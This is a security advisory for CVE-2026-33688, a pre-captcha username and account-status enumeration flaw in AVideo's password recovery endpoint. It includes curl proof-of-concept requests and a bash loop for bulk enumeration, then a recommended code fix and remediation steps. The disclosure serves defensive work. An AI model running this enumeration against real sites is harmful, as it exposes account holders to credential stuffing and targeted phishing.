CVE-2026-33688: AVideo has Pre-Captcha User Enumeration and Account Status Disclosure in Password Recovery Endpoint

Published Mar 23, 2026
·
Updated

Summary

The password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses.

Details

In objects/userRecoverPass.php, the request flow is:

1. Line 11 — A User object is instantiated from unsanitized $REQUEST['user'] with no authentication: php $user = new User(0, $REQUEST['user'], false);

2. Lines 27-29 — If the user does not exist, a distinct error is returned immediately: php if (empty($user->getStatus())) { $obj->error = ("User not found"); die(jsonencode($obj)); }

3. Lines 31-33 — If the user exists but is not active, a different distinct error is returned: php if ($user->getStatus() !== 'a') { $obj->error = ("The user is not active"); die(jsonencode($obj)); }

4. Lines 37-41 — Captcha validation only occurs after both user enumeration checks: php if (empty($REQUEST['captcha'])) { $obj->error = ("Captcha is empty"); } else { requireonce 'captcha.php'; $valid = Captcha::validation($REQUEST['captcha']);

This ordering creates a reliable oracle: requests that hit the captcha check confirm the user exists and is active, while the two earlier error messages reveal non-existence or inactive status — all without requiring a valid captcha.

By contrast, the registration endpoint (objects/userCreate.json.php) correctly validates the captcha at lines 32-42 before performing any user existence checks, confirming this ordering in the password recovery endpoint is a bug.

No rate limiting (rateLimitByIP) or brute force protection (bruteForceBlock) is applied to this endpoint. The framework's session-based DDOS protection is trivially bypassed by omitting cookies (each request gets a fresh session).

PoC

bash 1. Test a non-existent user — returns "User not found" without captcha curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \ -d 'user=nonexistentuserxyz&captcha=' | jq .error Response: "User not found"

2. Test a valid active user — passes user checks, hits captcha validation curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \ -d 'user=admin&captcha=' | jq .error Response: "Captcha is empty"

3. Test an inactive/banned user (if one exists) — returns distinct status message curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \ -d 'user=banneduser&captcha=' | jq .error Response: "The user is not active"

4. Bulk enumeration script — no captcha solving required for user in admin root test user1 user2 moderator editor; do result=$(curl -s -X POST 'http://localhost/AVideo/objects/userRecoverPass.php' \ -d "user=${user}&captcha=") error=$(echo "$result" | jq -r .error) if [ "$error" = "Captcha is empty" ]; then echo "[ACTIVE] $user" elif [ "$error" = "The user is not active" ]; then echo "[INACTIVE] $user" else echo "[NOT FOUND] $user" fi done

Impact

- Username enumeration: Attackers can determine which usernames are registered on the platform without any captcha or authentication barrier. - Account status disclosure: Attackers can distinguish between active, inactive, and non-existent accounts, revealing moderation/ban status. - Credential stuffing enablement: Confirmed valid usernames can be used in targeted password brute-force or credential stuffing attacks against the login endpoint. - Phishing: Knowledge of valid active accounts enables targeted social engineering attacks against real users. - No throttling: The absence of rate limiting on this endpoint allows high-speed automated enumeration.

Recommended Fix

Move the captcha validation before the user existence checks, and return a generic message regardless of user status:

php // In objects/userRecoverPass.php, replace lines 26-41 with:

header('Content-Type: application/json');

// Validate captcha FIRST, before any user lookups if (empty($REQUEST['captcha'])) { $obj->error = ("Captcha is empty"); die(jsonencode($obj)); } requireonce 'captcha.php'; $valid = Captcha::validation($REQUEST['captcha']); if (!$valid) { $obj->error = ("Your code is not valid"); $obj->reloadCaptcha = true; die(jsonencode($obj)); }

// After captcha passes, check user — but use generic message if (empty($user->getStatus()) || $user->getStatus() !== 'a' || empty($user->getEmail())) { // Generic message — do not reveal whether user exists or is active $obj->success = ("If this account exists, a recovery email has been sent"); die(jsonencode($obj)); }

// Proceed with actual password recovery... $recoverPass = $user->setRecoverPass();

Additionally, consider adding rateLimitByIP() to this endpoint as defense-in-depth.

Other sources

AVideo has Pre-Captcha User Enumeration and Account Status Disclosure in Password Recovery Endpoint

— Packagist

WWBN AVideo is an open source video platform. In versions up to and including 26.0, the password recovery endpoint at objects/userRecoverPass.php performs user existence and account status checks before validating the captcha. This allows an unauthenticated attacker to enumerate valid usernames and determine whether accounts are active, inactive, or banned — at scale and without solving any captcha — by observing three distinct JSON error responses. Commit e42f54123b460fd1b2ee01f2ce3d4a386e88d157 contains a patch.

— MITRE

Affected Software

4 affected components
WWBN AVideo<=26.0
WWBN AVideo<=26.0
composer/wwbn/avideo<=26.0
composer/wwbn/avideo<=26.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Patch e42f54123b460fd1b2ee01f2ce3d4a386e88d157
  2. Compensating control

    Add rateLimitByIP() to the password recovery endpoint as defense-in-depth against automated enumeration.

Event History

Mar 23, 2026
CVE Published
via MITRE·06:43 PM
Data Sourced
via MITRE·06:43 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·07:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Mar 25, 2026
Advisory Published
via GitHub·07:53 PM
Data Sourced
via GitHub·07:53 PM
DescriptionSeverityWeaknessAffected Software
Data Sourced
via Packagist·07:53 PM
DescriptionSeverityAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-33688?

The severity of CVE-2026-33688 is considered to be high due to its potential for user enumeration and account status disclosure.

2

How do I fix CVE-2026-33688?

To fix CVE-2026-33688, upgrade AVideo to version 26.1 or later, where the vulnerability has been addressed.

3

What impact does CVE-2026-33688 have on affected systems?

CVE-2026-33688 allows attackers to perform user enumeration and find information about account status during password recovery.

4

Which versions of AVideo are affected by CVE-2026-33688?

Versions of AVideo up to and including 26.0 are affected by CVE-2026-33688.

5

What is the nature of the vulnerability in CVE-2026-33688?

CVE-2026-33688 is a Pre-Captcha User Enumeration and Account Status Disclosure vulnerability found in the password recovery endpoint.

Contact

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